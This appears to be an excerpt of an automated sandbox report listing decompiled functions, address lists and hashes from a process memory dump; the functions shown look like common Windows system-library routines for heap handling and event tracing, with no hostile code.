Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: 2f5a24600af4a2f2b59d92232b59475b06e9acedd2f73a17cc042c757d399f3a
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: 6D01927214050ABFD722AF65CC91E62F76DFF54394F044529F15442661CB25BCA1CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00E14015, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00E14015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E00D62280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E00D62280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0xe386ac);
					E00D4F900(0xe386d4, _t28);
					E00D5FFB0(0xe386ac, _t28, 0xe386ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E00D5FFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}

0x00e1401a
0x00e1401e
0x00e14023
0x00e14028
0x00e14029
0x00e1402b
0x00e1402f
0x00e14043
0x00e14046
0x00e14051
0x00e14057
0x00e1405f
0x00e14062
0x00e14067
0x00e1406f
0x00e1407c
0x00e1407c
0x00e1408c
0x00e1408c
0x00e14097

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db0e516ecef387497719a82a781085bbae723de7f37967c31da2c50422539da5
Instruction ID: 302ae6ccb948a0665b63b45d1f49dae8f4595604e4724e53b78636b9c9319472
Opcode Fuzzy Hash: db0e516ecef387497719a82a781085bbae723de7f37967c31da2c50422539da5
Instruction Fuzzy Hash: E701A771201A457FC711AB79CD85E57B7ACFF49754B000225F60897A52CB28EC55C6F4

Uniqueness

Uniqueness Score: -1.00%

Function 00E014FB, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00E014FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0xe3d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E00D8FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E00D67D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x00e014fb
0x00e014fb
0x00e0150a
0x00e01514
0x00e01519
0x00e0151b
0x00e01526
0x00e0152c
0x00e01534
0x00e01537
0x00e0153a
0x00e01545
0x00e01557
0x00e01547
0x00e01550
0x00e01550
0x00e01562
0x00e01563
0x00e01565
0x00e0156a
0x00e0157f

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2c4437c7328d9965ee0bab536cc954350b95ecf662b374f317c66915b865ca6
Instruction ID: 835a8d6ce2824b4f58a0981165c00531354c96db4e82d2934bf26b3a38e37ee0
Opcode Fuzzy Hash: d2c4437c7328d9965ee0bab536cc954350b95ecf662b374f317c66915b865ca6
Instruction Fuzzy Hash: E8018071A00248AFCB04EF69D846FAEBBB8EF44710F004066B905EB281D674DA40CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00E0138A, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00E0138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0xe3d360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E00D8FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E00D67D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x00e0138a
0x00e0138a
0x00e01399
0x00e013a3
0x00e013a8
0x00e013aa
0x00e013b5
0x00e013bb
0x00e013c3
0x00e013c6
0x00e013c9
0x00e013d4
0x00e013e6
0x00e013d6
0x00e013df
0x00e013df
0x00e013f1
0x00e013f2
0x00e013f4
0x00e013f9
0x00e0140e

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a3835cc55f9df58663aaf883ce2c6002dd31affb3b715a790c3bc9a548bca7c
Instruction ID: 640f2aa5eb6ba6f5c15489cd35f952332987ecfc95fcd02521d6c573f04440a8
Opcode Fuzzy Hash: 8a3835cc55f9df58663aaf883ce2c6002dd31affb3b715a790c3bc9a548bca7c
Instruction Fuzzy Hash: D7015671A0421CAFDB14EFA9D886FAEB7B8EF44710F004056B905EB281D674DE41C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00D458EC, Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00D458EC(intOrPtr __ecx) {
				signed int _v8;
				char _v28;
				char _v44;
				char _v76;
				void* __edi;
				void* __esi;
				intOrPtr _t10;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t27;
				intOrPtr _t28;
				signed int _t29;

				_v8 =  *0xe3d360 ^ _t29;
				_t10 =  *[fs:0x30];
				_t27 = __ecx;
				if(_t10 == 0) {
					L6:
					_t28 = 0xd25c80;
				} else {
					_t16 =  *((intOrPtr*)(_t10 + 0x10));
					if(_t16 == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(_t16 + 0x3c));
					}
				}
				if(E00D45943() != 0 &&  *0xe35320 > 5) {
					E00DC7B5E( &_v44, _t27);
					_t22 =  &_v28;
					E00DC7B5E( &_v28, _t28);
					_t11 = E00DC7B9C(0xe35320, 0xd2bf15,  &_v28, _t22, 4,  &_v76);
				}
				return E00D8B640(_t11, _t17, _v8 ^ _t29, 0xd2bf15, _t27, _t28);
			}

0x00d458fb
0x00d458fe
0x00d45906
0x00d4590a
0x00d4593c
0x00d4593c
0x00d4590c
0x00d4590c
0x00d45911
0x00000000
0x00d45913
0x00d45913
0x00d45913
0x00d45911
0x00d4591d
0x00da1035
0x00da103c
0x00da103f
0x00da1056
0x00da1056
0x00d4593b

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cb850131a0d4b9ccbfde0fd91a721afc950f36cf3398c5a598aabc1de511272
Instruction ID: eb5736f124756f453fabd1b732bce7be0e862deb92ed0cb62adb1dd0bcf525d8
Opcode Fuzzy Hash: 9cb850131a0d4b9ccbfde0fd91a721afc950f36cf3398c5a598aabc1de511272
Instruction Fuzzy Hash: 4901A731A04908DBC714EB25EC05EAE77BDEF84370F590069B805A735ADE30DD05CA70

Uniqueness

Uniqueness Score: -1.00%

Function 00E11074, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00E11074(intOrPtr __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E00E1165E(__ebx, 0xe38ae4, (__edx -  *0xe38b04 >> 0x14) + (__edx -  *0xe38b04 >> 0x14), __edi, __ecx, (__edx -  *0xe38b04 >> 0x14) + (__edx -  *0xe38b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E00E0AFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E00D67D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E00DFFE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}

0x00e11074
0x00e11080
0x00e11082
0x00e1108a
0x00e1108f
0x00e11093
0x00e110ab
0x00e110ab
0x00e110c3
0x00e110cf
0x00e110e1
0x00e110d1
0x00e110da
0x00e110da
0x00e110e9
0x00e110f5
0x00e110f5
0x00e110fe

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bb09fae424b62d806d430105dc31ed1ff40149ea7a92f39316a889e0d495a70
Instruction ID: 538b375f2ef56c8b91861a26d0842d0702b972279a512ef7de259c997f9b0220
Opcode Fuzzy Hash: 5bb09fae424b62d806d430105dc31ed1ff40149ea7a92f39316a889e0d495a70
Instruction Fuzzy Hash: 410128725047469FC710DB28C905B9A7BD5ABC4314F04C669F985A3291DE30D9C0CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D5B02A, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D5B02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E00D67D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E00DC7016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}

0x00d5b037
0x00d5b039
0x00d5b03b
0x00d5b040
0x00daa60e
0x00000000
0x00000000
0x00daa61d
0x00d5b04b
0x00d5b04e
0x00daa627
0x00daa634
0x00000000
0x00000000
0x00daa641
0x00daa653
0x00daa643
0x00daa64c
0x00daa64c
0x00daa65b
0x00000000
0x00000000
0x00000000
0x00daa66c
0x00d5b057
0x00d5b057
0x00d5b057
0x00d5b046
0x00d5b046
0x00000000

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: 67aabd99d9e82fbcff92e8064bfb2f55728cf36416bf50ac35db5c73c00c35ed
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: 15017C722049849FD722871CC988F6777E8EB46764F0D40A2FD19CBA91D768DC44CA31

Uniqueness

Uniqueness Score: -1.00%

Function 00DFFEC0, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00DFFEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0xe3d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E00D8FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E00D67D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x00dffec0
0x00dffec0
0x00dffecf
0x00dffed9
0x00dffede
0x00dffee0
0x00dffeeb
0x00dffef3
0x00dffef6
0x00dffef9
0x00dfff04
0x00dfff16
0x00dfff06
0x00dfff0f
0x00dfff0f
0x00dfff21
0x00dfff22
0x00dfff24
0x00dfff29
0x00dfff3e

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10926c33ce2a6eaa912b89d3e0111de3f2116f4e9f4c6c600ffe5422fd2ec5a6
Instruction ID: b1fa5205a1b04cb1c9f2016c867f44a675721574952882c4fb21f191d600d06f
Opcode Fuzzy Hash: 10926c33ce2a6eaa912b89d3e0111de3f2116f4e9f4c6c600ffe5422fd2ec5a6
Instruction Fuzzy Hash: 87018871A0020CAFD714EB69D846FBEB7B8EF44710F444066B901EB291DA74D901C7B5

Uniqueness

Uniqueness Score: -1.00%

Function 00DFFE3F, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00DFFE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0xe3d360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E00D8FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E00D67D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x00dffe3f
0x00dffe3f
0x00dffe4e
0x00dffe58
0x00dffe5d
0x00dffe5f
0x00dffe6a
0x00dffe72
0x00dffe75
0x00dffe78
0x00dffe83
0x00dffe95
0x00dffe85
0x00dffe8e
0x00dffe8e
0x00dffea0
0x00dffea1
0x00dffea3
0x00dffea8
0x00dffebd

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 341dedfd3a2d3fd8e60413c9fe1f5f8ded496d81c6aeaf2cd9e8983b2dcd33e4
Instruction ID: fc90d5cd883a4fdd87e2e29284343b1d74458f5107d41100166bb0b59856b35b
Opcode Fuzzy Hash: 341dedfd3a2d3fd8e60413c9fe1f5f8ded496d81c6aeaf2cd9e8983b2dcd33e4
Instruction Fuzzy Hash: 14018471A0420CAFDB14EFA9D846FBEBBB8EF44714F044066B900EB291DA74D901C7B5

Uniqueness

Uniqueness Score: -1.00%

Function 00E18ED6, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00E18ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0xe3d360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E00D67D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}

0x00e18ed6
0x00e18ee5
0x00e18eed
0x00e18ef0
0x00e18efa
0x00e18f03
0x00e18f0c
0x00e18f15
0x00e18f24
0x00e18f27
0x00e18f31
0x00e18f43
0x00e18f33
0x00e18f3c
0x00e18f3c
0x00e18f4e
0x00e18f4f
0x00e18f51
0x00e18f56
0x00e18f69

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a345f0d6e01110ac91552a0cba1b106abb6ee2019b535535dd4eef75e62bc85b
Instruction ID: 4bc33b16d9fd62b47d08c9281781dd603251302468b59554affe2bce7ce27523
Opcode Fuzzy Hash: a345f0d6e01110ac91552a0cba1b106abb6ee2019b535535dd4eef75e62bc85b
Instruction Fuzzy Hash: AA11DE70A042599FDB04DFA9D545BAEFBF4FF08304F1442AAE519EB782E6349941CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E18A62, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00E18A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0xe3d360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E00D67D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E00D8B640(E00D89AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x00e18a62
0x00e18a71
0x00e18a79
0x00e18a82
0x00e18a85
0x00e18a89
0x00e18a8c
0x00e18a8f
0x00e18a92
0x00e18a95
0x00e18a9f
0x00e18ab1
0x00e18aa1
0x00e18aaa
0x00e18aaa
0x00e18abc
0x00e18abd
0x00e18abf
0x00e18ac4
0x00e18ada

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25e084bcb391b707ddd27bd6790f5d9d9aede5513b99fcb54c581dfa10ad8b16
Instruction ID: f1b293abc88a22927abbbed8b178ba31c2a549cf5c015cb3321ab92261f29d7e
Opcode Fuzzy Hash: 25e084bcb391b707ddd27bd6790f5d9d9aede5513b99fcb54c581dfa10ad8b16
Instruction Fuzzy Hash: BE011A71A0021CAFCB04DFA9D9829EEBBB8FF48350F10405AF905F7351EA34A9008BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D4DB60, Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D4DB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E00D4DB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E00D4E7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L00D4E8B0(__ecx, _t14, 0xfff);
							L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x00d4db64
0x00d4db66
0x00d4db6b
0x00d4dbaa
0x00d4db71
0x00d4db76
0x00d4db7a
0x00d4dba3
0x00d4db7c
0x00d4db87
0x00d4db8b
0x00da4fa1
0x00da4fb3
0x00da4fb8
0x00d4db91
0x00d4db96
0x00d4db98
0x00d4db98
0x00d4db8b
0x00d4db7a
0x00d4db9d
0x00d4dba2

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: 06866c423f9bcaae111bec2b4df52a861c50c9bb577c0099339b3a9e19d90bce
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: 0AF096332456229FD7326A558881F6BB6B7DFC2B60F2B0475F1059B345CA74CC0296F1

Uniqueness

Uniqueness Score: -1.00%

Function 00D4B1E1, Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D4B1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E00D67D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E00D67D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E00DC7016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}

0x00d4b1e8
0x00d4b1ea
0x00d4b1f3
0x00da4a17
0x00d4b1f9
0x00d4b1f9
0x00d4b1f9
0x00d4b201
0x00da4a21
0x00da4a2e
0x00000000
0x00000000
0x00da4a3b
0x00da4a4d
0x00da4a3d
0x00da4a46
0x00da4a46
0x00da4a55
0x00000000
0x00000000
0x00000000
0x00d4b20a
0x00d4b20a
0x00d4b20a
0x00d4b20a

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: 9371928724fed31f5a9f5c9dc5aef22ce4f19d6951a13b7188f88fbbecaf8854
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: 2F01F432244684DBD322975DC844F697B98EF92768F0C04A2FA548B6B2D7B8CC00D739

Uniqueness

Uniqueness Score: -1.00%

Function 00DDFE87, Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00DDFE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0xe3d360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E00D67D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E00D8B640(E00D89AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x00ddfe96
0x00ddfe9e
0x00ddfea1
0x00ddfead
0x00ddfeb3
0x00ddfeb9
0x00ddfec3
0x00ddfed5
0x00ddfec5
0x00ddfece
0x00ddfece
0x00ddfee0
0x00ddfee1
0x00ddfee3
0x00ddfee8
0x00ddfefb

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d135b46cab1fb8693c56bda704d6055e55b673febc1d7bf18763313ee7f75c7a
Instruction ID: a5cdf1c976d9f887de1a9a43d3d636b444d7659659e4b8d7d9ca6f0f7bf339b8
Opcode Fuzzy Hash: d135b46cab1fb8693c56bda704d6055e55b673febc1d7bf18763313ee7f75c7a
Instruction Fuzzy Hash: 56016270A0420CEFCB14DFA8D946A6EB7F4EF04304F14416AB545EB392D635D901CBA0

Uniqueness

Uniqueness Score: -1.00%

